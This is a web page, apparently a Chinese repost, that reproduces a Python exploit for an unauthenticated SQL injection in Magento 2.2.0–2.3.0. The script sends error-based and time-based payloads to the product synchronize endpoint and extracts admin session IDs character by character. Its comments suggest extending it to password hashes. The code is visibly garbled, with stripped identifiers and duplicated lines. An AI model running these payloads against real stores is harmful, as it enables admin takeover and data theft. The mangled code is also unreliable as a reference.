Magento2.2SQL注入漏洞

2024年2月4日发(作者：)

#!/usr/bin/env python3# Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi# Charles Fol# 2019-03-22## SOURCE & SINK# The sink (from-to SQL condition) has been present from Magento 1.x onwards.# The source (/catalog/product_frontend_action/synchronize) from 2.2.0.# If your target runs Magento < 2.2.0, you need to find another source.## SQL INJECTION# The exploit can easily be modified to obtain other stuff from the DB, for# instance admin/user password hashes.#import requestsimport stringimport binasciiimport reimport randomimport timeimport sysfrom ions import e_warnings(category=InsecureRequestWarning)def run(url): sqli = SQLInjection(url) try: _test_method() sid = _most_recent_session() except ExploitError as e: print('Error: %s' % e)def random_string(n=8): return ''.join((_letters) for _ in range(n))

class ExploitError(Exception): passclass Browser: """Basic browser functionality along w/ URLs and payloads. """ PROXY = None def __init__(self, URL): = URL self.s = n() = False if : s = { 'http': , 'https': , }class SQLInjection(Browser): """SQL injection stuff. """ def encode(self, string): return '0x' + binascii.b2a_hex(()).decode() def find_test_method(self): """Tries to inject using an error-based technique, or falls back to timebased. """ for test_method in (_error, _timebased): if test_method('123=123') and not test_method('123=124'): = test_method break else: raise ExploitError('Test SQL injections failed, not vulnerable ?') def test_timebased(self, condition): """Runs a test. A valid condition results in a sleep of 1 second. """ payload = '))) OR (SELECT*FROM (SELECT SLEEP((%s)))a)=1 -- -' % condition r = ( + '/catalog/product_frontend_action/synchronize', params={ 'type_id': 'recently_products', 'ids[0][added_at]': '', 'ids[0][product_id][from]': '?', 'ids[0][product_id][to]': payload } ) return _seconds() > 1 def test_error(self, condition): """Runs a test. An invalid condition results in an SQL error. """ payload = '))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE %s) -- -' % condition r = ( + '/catalog/product_frontend_action/synchronize', params={ 'type_id': 'recently_products', 'ids[0][added_at]': '', 'ids[0][product_id][from]': '?', 'ids[0][product_id][to]': payload } )

) if _code not in (200, 400): raise ExploitError( 'SQL injection does not yield a correct HTTP response' ) return _code == 400 def word(self, name, sql, size=None, charset=None): """Dichotomically obtains a value. """ pattern = 'LOCATE(SUBSTR((%s),%d,1),BINARY %s)=0' full = '' check = False

if size is None: # Yeah whatever size_size = ( name, 'LENGTH(LENGTH(%s))' % sql, size=1, charset= ) size = ( name, 'LENGTH(%s)' % sql, size=int(size_size), charset= ) size = int(size) print("%s: %s" % (name, full), end='r') for p in range(size): c = charset

while len(c) > 1: middle = len(c) // 2 h0, h1 = c[:middle], c[middle:] condition = pattern % (sql, p+1, (h0)) c = h1 if (condition) else h0 full += c print("%s: %s" % (name, full), end='r') print(' ' * len("%s: %s" % (name, full)), end='r') return full def get_most_recent_session(self): """Grabs the last created session. We don't need special privileges aside from creating a product so any session should do. Otherwise, the process can be improved by grabbing each session one by one and trying to reach the backend. """ # This is the default admin session timeout session_timeout = 900 query = ( 'SELECT %%s FROM admin_user_session ' 'WHERE TIMESTAMPDIFF(SECOND, updated_at, NOW()) BETWEEN 0 AND %d ' 'ORDER BY created_at DESC, updated_at DESC LIMIT 1' ) % session_timeout # Check if a session is available available = not ('(%s)=0' % (query % 'COUNT(*)'))

if not available: raise ExploitError('No session is available')

raise ExploitError('No session is available') print('An admin session is available !') # Fetch it sid = ( 'Session ID', query % 'session_id', charset=_lowercase + , size=26 ) print('Session ID: %s' % sid) return sidrun([1])